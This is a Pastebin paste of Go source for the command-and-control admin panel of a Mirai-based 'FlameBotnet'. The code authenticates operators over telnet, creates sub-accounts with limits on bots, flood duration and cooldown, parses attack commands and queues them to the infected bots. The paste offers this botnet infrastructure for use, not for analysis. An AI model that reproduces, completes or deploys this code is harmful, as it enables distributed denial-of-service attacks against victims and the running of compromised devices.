Advertisement
Guest User

FlameBotnet server side for Mirai

a guest
Apr 30th, 2017
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.00 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "net"
  6. "time"
  7. "strings"
  8. "io/ioutil"
  9. "strconv"
  10. )
  11.  
  12. type Admin struct {
  13. conn net.Conn
  14. }
  15.  
  16. func NewAdmin(conn net.Conn) *Admin {
  17. return &Admin{conn}
  18. }
  19.  
  20. func (this *Admin) Handle() {
  21. this.conn.Write([]byte("\033[?1049h"))
  22. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  23.  
  24. defer func() {
  25. this.conn.Write([]byte("\033[?1049l"))
  26. }()
  27.  
  28. headerb, err := ioutil.ReadFile("prompt.txt")
  29. if err != nil {
  30. return
  31. }
  32.  
  33. header := string(headerb)
  34. this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1)))
  35.  
  36. // Username
  37. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  38. this.conn.Write([]byte("\033[31;1mUsername:\033[33;3m: \033[0m"))
  39. username, err := this.ReadLine(false)
  40. if err != nil {
  41. return
  42. }
  43.  
  44. // Password
  45. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  46. this.conn.Write([]byte("\033[31;1mPassword\033[33;3m: \033[0m"))
  47. password, err := this.ReadLine(true)
  48. if err != nil {
  49. return
  50. }
  51.  
  52. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  53. this.conn.Write([]byte("\r\n"))
  54. spinBuf := []byte{'-', '\\', '|', '/'}
  55. for i := 0; i < 15; i++ {
  56. this.conn.Write(append([]byte("\r\033[37;1mAuthenticating User ...\033[31m"), spinBuf[i % len(spinBuf)]))
  57. time.Sleep(time.Duration(300) * time.Millisecond)
  58. }
  59.  
  60. var loggedIn bool
  61. var userInfo AccountInfo
  62. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  63. this.conn.Write([]byte("\r\033[32;1mYou're account has either been terminated, Or you've used the wrong cridentials.\r\n"))
  64. this.conn.Write([]byte("\033[31mPress any key to exit.\033[0m"))
  65. buf := make([]byte, 1)
  66. this.conn.Read(buf)
  67. return
  68. }
  69.  
  70. for i := 0; i < 15; i++ {
  71. this.conn.Write([]byte("\033[2J\033[1;1H"))
  72. this.conn.Write(append([]byte("\r\033[37;1mConnecting To Mirai...\033[31m"), spinBuf[i % len(spinBuf)]))
  73. time.Sleep(100 * time.Millisecond)
  74. }
  75. this.conn.Write([]byte("\033[2J\033[1;1H"))
  76. this.conn.Write([]byte("\033[1;31m ________ ____ __ __\r\n"))
  77. this.conn.Write([]byte("\033[1;31m / ____/ /___ _____ ___ ___ / __ )____ / /_____ ___ / /_\r\n"))
  78. this.conn.Write([]byte("\033[1;31m / /_ / / __ `/ __ `__ \\/ _ \\ / __ / __ \\/ __/ __ \\/ _ \\/ __/\r\n"))
  79. this.conn.Write([]byte("\033[1;31m / __/ / / /_/ / / / / / / __/ / /_/ / /_/ / /_/ / / / __/ /_ \r\n"))
  80. this.conn.Write([]byte("\033[1;31m/_/ /_/\\__,_/_/ /_/ /_/\\___/ /_____/\\____/\\__/_/ /_/\\___/\\__/ \r\n"))
  81. this.conn.Write([]byte("\033[1;37m|\033[1;36m------------------- \033[1;34m[ \033[1;36mWelcome to Sector Alpha \033[1;34m] \033[1;36m-------------------\033[1;37m|\r\n"))
  82. this.conn.Write([]byte("\033[1;31mNote: Please redirect your flame botnet to our DNS servers.\r\n\r\n"))
  83.  
  84. go func() {
  85. i := 0
  86. for {
  87. var BotCount int
  88. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  89. BotCount = userInfo.maxBots
  90. } else {
  91. BotCount = clientList.Count()
  92. }
  93.  
  94. time.Sleep(time.Second)
  95. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Sprite Cans Ready | %s\007", BotCount, username))); err != nil {
  96. this.conn.Close()
  97. break
  98. }
  99. i++
  100. if i % 60 == 0 {
  101. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  102. }
  103. }
  104. }()
  105.  
  106. for {
  107. var botCatagory string
  108. var botCount int
  109.  
  110. this.conn.Write([]byte("\033[32;1m[root@" + username + "~#:]\033[0m"))
  111.  
  112. cmd, err := this.ReadLine(false)
  113. if err != nil || cmd == "exit" || cmd == "quit" {
  114. return
  115. }
  116. if cmd == "clear" || cmd == "cls" {
  117. this.conn.Write([]byte("\033[2J\033[1;1H"))
  118. this.conn.Write([]byte("\033[2J\033[1;1H"))
  119. this.conn.Write([]byte("\033[1;31m ________ ____ __ __\r\n"))
  120. this.conn.Write([]byte("\033[1;31m / ____/ /___ _____ ___ ___ / __ )____ / /_____ ___ / /_\r\n"))
  121. this.conn.Write([]byte("\033[1;31m / /_ / / __ `/ __ `__ \\/ _ \\ / __ / __ \\/ __/ __ \\/ _ \\/ __/\r\n"))
  122. this.conn.Write([]byte("\033[1;31m / __/ / / /_/ / / / / / / __/ / /_/ / /_/ / /_/ / / / __/ /_ \r\n"))
  123. this.conn.Write([]byte("\033[1;31m/_/ /_/\\__,_/_/ /_/ /_/\\___/ /_____/\\____/\\__/_/ /_/\\___/\\__/ \r\n"))
  124. this.conn.Write([]byte("\033[1;37m|\033[1;36m------------------- \033[1;34m[ \033[1;36mWelcome to Sector Alpha \033[1;34m] \033[1;36m-------------------\033[1;37m|\r\n"))
  125. this.conn.Write([]byte("\033[1;31mNote: Please redirect your flame botnet to our DNS servers.\r\n\r\n"))
  126. continue
  127. }
  128. if cmd == "" {
  129. continue
  130. }
  131.  
  132. botCount = userInfo.maxBots
  133.  
  134. if userInfo.admin == 1 && cmd == "adduser" {
  135. this.conn.Write([]byte("[!] Enter Users Username : "))
  136. new_un, err := this.ReadLine(false)
  137. if err != nil {
  138. return
  139. }
  140. this.conn.Write([]byte("[!] Enter Users Password : "))
  141. new_pw, err := this.ReadLine(false)
  142. if err != nil {
  143. return
  144. }
  145. this.conn.Write([]byte("Enter Desired Bot Usage [ -1 for all bots ] : "))
  146. max_bots_str, err := this.ReadLine(false)
  147. if err != nil {
  148. return
  149. }
  150. max_bots, err := strconv.Atoi(max_bots_str)
  151. if err != nil {
  152. this.conn.Write([]byte(fmt.Sprintf("\033[32;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  153. continue
  154. }
  155. this.conn.Write([]byte("Max Desired Flood Time [ 0 for none ] : "))
  156. duration_str, err := this.ReadLine(false)
  157. if err != nil {
  158. return
  159. }
  160. duration, err := strconv.Atoi(duration_str)
  161. if err != nil {
  162. this.conn.Write([]byte(fmt.Sprintf("\033[32;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  163. continue
  164. }
  165. this.conn.Write([]byte("Cooldown Time [ 0 for no cooldown ] : "))
  166. cooldown_str, err := this.ReadLine(false)
  167. if err != nil {
  168. return
  169. }
  170. cooldown, err := strconv.Atoi(cooldown_str)
  171. if err != nil {
  172. this.conn.Write([]byte(fmt.Sprintf("\033[32;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  173. continue
  174. }
  175. this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  176. confirm, err := this.ReadLine(false)
  177. if err != nil {
  178. return
  179. }
  180. if confirm != "y" {
  181. continue
  182. }
  183. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  184. this.conn.Write([]byte(fmt.Sprintf("\033[32;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  185. } else {
  186. this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  187. }
  188. continue
  189. }
  190. if userInfo.admin == 1 && cmd == "bots" {
  191. m := clientList.Distribution()
  192. for k, v := range m {
  193. this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v)))
  194. }
  195. continue
  196. }
  197. if cmd[0] == '-' {
  198. countSplit := strings.SplitN(cmd, " ", 2)
  199. count := countSplit[0][1:]
  200. botCount, err = strconv.Atoi(count)
  201. if err != nil {
  202. this.conn.Write([]byte(fmt.Sprintf("\033[32;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  203. continue
  204. }
  205. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  206. this.conn.Write([]byte(fmt.Sprintf("\033[32;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  207. continue
  208. }
  209. cmd = countSplit[1]
  210. }
  211. if userInfo.admin == 1 && cmd[0] == '@' {
  212. cataSplit := strings.SplitN(cmd, " ", 2)
  213. botCatagory = cataSplit[0][1:]
  214. cmd = cataSplit[1]
  215. }
  216.  
  217. atk, err := NewAttack(cmd, userInfo.admin)
  218. if err != nil {
  219. this.conn.Write([]byte(fmt.Sprintf("\033[32;1m%s\033[0m\r\n", err.Error())))
  220. } else {
  221. buf, err := atk.Build()
  222. if err != nil {
  223. this.conn.Write([]byte(fmt.Sprintf("\033[32;1m%s\033[0m\r\n", err.Error())))
  224. } else {
  225. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  226. this.conn.Write([]byte(fmt.Sprintf("\033[32;1m%s\033[0m\r\n", err.Error())))
  227. } else if !database.ContainsWhitelistedTargets(atk) {
  228. clientList.QueueBuf(buf, botCount, botCatagory)
  229. } else {
  230. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  231. }
  232. }
  233. }
  234. }
  235. }
  236.  
  237. func (this *Admin) ReadLine(masked bool) (string, error) {
  238. buf := make([]byte, 1024)
  239. bufPos := 0
  240.  
  241. for {
  242. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  243. if err != nil || n != 1 {
  244. return "", err
  245. }
  246. if buf[bufPos] == '\xFF' {
  247. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  248. if err != nil || n != 2 {
  249. return "", err
  250. }
  251. bufPos--
  252. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  253. if bufPos > 0 {
  254. this.conn.Write([]byte(string(buf[bufPos])))
  255. bufPos--
  256. }
  257. bufPos--
  258. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  259. bufPos--
  260. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  261. this.conn.Write([]byte("\r\n"))
  262. return string(buf[:bufPos]), nil
  263. } else if buf[bufPos] == 0x03 {
  264. this.conn.Write([]byte("^C\r\n"))
  265. return "", nil
  266. } else {
  267. if buf[bufPos] == '\x1B' {
  268. buf[bufPos] = '^';
  269. this.conn.Write([]byte(string(buf[bufPos])))
  270. bufPos++;
  271. buf[bufPos] = '[';
  272. this.conn.Write([]byte(string(buf[bufPos])))
  273. } else if masked {
  274. this.conn.Write([]byte("*"))
  275. } else {
  276. this.conn.Write([]byte(string(buf[bufPos])))
  277. }
  278. }
  279. bufPos++
  280. }
  281. return string(buf), nil
  282. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement